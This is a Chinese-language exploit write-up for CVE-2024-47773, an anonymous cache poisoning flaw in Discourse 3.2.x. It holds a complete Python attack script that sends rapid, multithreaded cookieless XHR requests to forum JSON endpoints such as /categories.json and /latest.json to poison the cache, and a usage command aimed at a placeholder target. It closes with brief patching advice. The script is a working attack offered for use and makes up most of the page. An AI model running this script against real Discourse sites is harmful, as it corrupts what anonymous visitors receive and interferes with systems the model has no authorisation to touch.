Discourse 3.2.x 匿名缓存投毒漏洞利用详解

本文详细介绍了Discourse 3.2.x版本中的匿名缓存投毒漏洞(CVE-2024-47773),包括漏洞原理、利用方法和Python实现代码,影响匿名访问用户的缓存数据完整性。

Discourse 3.2.x - 匿名缓存投毒 - 多Web应用漏洞利用

漏洞概述

Discourse 3.2.x版本存在匿名缓存投毒漏洞(CVE-2024-47773),攻击者可通过多个XHR请求向缓存中投毒响应,导致匿名访问用户接收到缺少预加载数据的响应。该漏洞CVSS评分为7.1分(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)。

技术细节

漏洞描述

Discourse匿名缓存投毒漏洞允许攻击者通过多个XHR请求向缓存中投毒不包含预加载数据的响应。此漏洞仅影响站点的匿名访问用户。

影响版本

  • Discourse < 最新版本(已修复)
  • 测试版本:Discourse 3.1.x, 3.2.x

漏洞利用代码

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#!/usr/bin/env python3
"""
Exploit Title: Discourse 3.2.x - Anonymous Cache Poisoning
Date: 2024-10-15
Exploit Author: ibrahimsql
Github: https://github.com/ibrahmsql
Vendor Homepage: https://discourse.org
Software Link: https://github.com/discourse/discourse
Version: Discourse < latest (patched)
Tested on: Discourse 3.1.x, 3.2.x
CVE: CVE-2024-47773
CVSS: 7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
"""

import requests
import sys
import argparse
import time
import threading
import json
from urllib.parse import urljoin

class DiscourseCachePoisoning:
    def __init__(self, target_url, threads=10, timeout=10):
        self.target_url = target_url.rstrip('/')
        self.threads = threads
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'application/json, text/javascript, */*; q=0.01',
            'X-Requested-With': 'XMLHttpRequest'
        })
        self.poisoned = False
        
    def check_target(self):
        """检查目标是否可访问且运行Discourse"""
        try:
            response = self.session.get(f"{self.target_url}/", timeout=self.timeout)
            if response.status_code == 200:
                if 'discourse' in response.text.lower() or 'data-discourse-setup' in response.text:
                    return True
        except Exception as e:
            print(f"[-] 检查目标错误: {e}")
        return False
    
    def check_anonymous_cache(self):
        """检查匿名缓存是否启用"""
        try:
            # 测试应该为匿名用户缓存的端点
            response = self.session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
            
            # 检查缓存头
            cache_headers = ['cache-control', 'etag', 'last-modified']
            has_cache = any(header in response.headers for header in cache_headers)
            
            if has_cache:
                print("[+] 匿名缓存似乎已启用")
                return True
            else:
                print("[-] 匿名缓存可能已禁用")
                return False
                
        except Exception as e:
            print(f"[-] 检查缓存错误: {e}")
            return False
    
    def poison_cache_worker(self, endpoint):
        """缓存投毒尝试的工作函数"""
        try:
            # 创建无cookie会话以模拟匿名用户
            anon_session = requests.Session()
            anon_session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'application/json, text/javascript, */*; q=0.01',
                'X-Requested-With': 'XMLHttpRequest'
            })
            
            # 快速请求以投毒缓存
            for i in range(50):
                response = anon_session.get(
                    f"{self.target_url}{endpoint}",
                    timeout=self.timeout
                )
                
                # 检查响应是否缺少预加载数据
                if response.status_code == 200:
                    try:
                        data = response.json()
                        # 检查缺少预加载数据的指标
                        if self.is_poisoned_response(data):
                            print(f"[+] 缓存投毒成功于 {endpoint}")
                            self.poisoned = True
                            return True
                    except:
                        pass
                        
                time.sleep(0.1)
                
        except Exception as e:
            pass
        return False
    
    def is_poisoned_response(self, data):
        """检查响应是否指示成功的缓存投毒"""
        # 查找缺少预加载数据的指标
        indicators = [
            # 缺少或空的预加载数据
            not data.get('preloaded', True),
            data.get('preloaded') == {},
            # 缺少预期字段
            'categories' in data and not data['categories'],
            'topics' in data and not data['topics'],
            # 错误指标
            data.get('error') is not None,
            data.get('errors') is not None
        ]
        
        return any(indicators)
    
    def test_cache_poisoning(self):
        """在多个端点上测试缓存投毒"""
        print("[*] 测试缓存投毒漏洞...")
        
        # 通常被缓存的目标端点
        endpoints = [
            '/categories.json',
            '/latest.json',
            '/top.json',
            '/c/general.json',
            '/site.json',
            '/site/basic-info.json'
        ]
        
        threads = []
        
        for endpoint in endpoints:
            print(f"[*] 测试端点: {endpoint}")
            
            # 创建多个线程来投毒缓存
            for i in range(self.threads):
                thread = threading.Thread(
                    target=self.poison_cache_worker,
                    args=(endpoint,)
                )
                threads.append(thread)
                thread.start()
            
            # 等待线程完成
            for thread in threads:
                thread.join(timeout=5)
            
            if self.poisoned:
                break
                
            time.sleep(1)
        
        return self.poisoned
    
    def verify_poisoning(self):
        """验证缓存投毒是否成功"""
        print("[*] 验证缓存投毒...")
        
        # 使用新的匿名会话测试
        verify_session = requests.Session()
        verify_session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        
        try:
            response = verify_session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
            
            if response.status_code == 200:
                try:
                    data = response.json()
                    if self.is_poisoned_response(data):
                        print("[+] 缓存投毒已验证 - 匿名用户受影响")
                        return True
                    else:
                        print("[-] 缓存投毒未验证")
                except:
                    print("[-] 无法解析响应")
            else:
                print(f"[-] 意外响应代码: {response.status_code}")
                
        except Exception as e:
            print(f"[-] 验证投毒错误: {e}")
        
        return False
    
    def exploit(self):
        """主漏洞利用函数"""
        print(f"[*] 测试Discourse缓存投毒 (CVE-2024-47773)")
        print(f"[*] 目标: {self.target_url}")
        
        if not self.check_target():
            print("[-] 目标不可访问或未运行Discourse")
            return False
        
        print("[+] 目标确认为Discourse实例")
        
        if not self.check_anonymous_cache():
            print("[-] 匿名缓存可能已禁用 (DISCOURSE_DISABLE_ANON_CACHE设置)")
            print("[*] 继续尝试利用...")
        
        success = self.test_cache_poisoning()
        
        if success:
            print("[+] 缓存投毒攻击成功!")
            self.verify_poisoning()
            print("\n[!] 影响: 匿名访问者可能接收到缺少预加载数据的响应")
            print("[!] 建议: 升级Discourse或设置DISCOURSE_DISABLE_ANON_CACHE")
            return True
        else:
            print("[-] 缓存投毒攻击失败")
            print("[*] 目标可能已修补或缓存已禁用")
            return False

def main():
    parser = argparse.ArgumentParser(description='Discourse匿名缓存投毒 (CVE-2024-47773)')
    parser.add_argument('-u', '--url', required=True, help='目标Discourse URL')
    parser.add_argument('-t', '--threads', type=int, default=10, help='线程数 (默认: 10)')
    parser.add_argument('--timeout', type=int, default=10, help='请求超时 (默认: 10)')
    
    args = parser.parse_args()
    
    exploit = DiscourseCachePoisoning(args.url, args.threads, args.timeout)
    
    try:
        success = exploit.exploit()
        sys.exit(0 if success else 1)
    except KeyboardInterrupt:
        print("\n[-] 利用被用户中断")
        sys.exit(1)
    except Exception as e:
        print(f"[-] 利用失败: {e}")
        sys.exit(1)

if __name__ == '__main__':
    main()

使用方法

1
python3 exploit.py -u https://target-discourse-site.com -t 20 --timeout 15

参考链接

修复建议

  • 升级到最新版本的Discourse
  • 设置DISCOURSE_DISABLE_ANON_CACHE环境变量禁用匿名缓存
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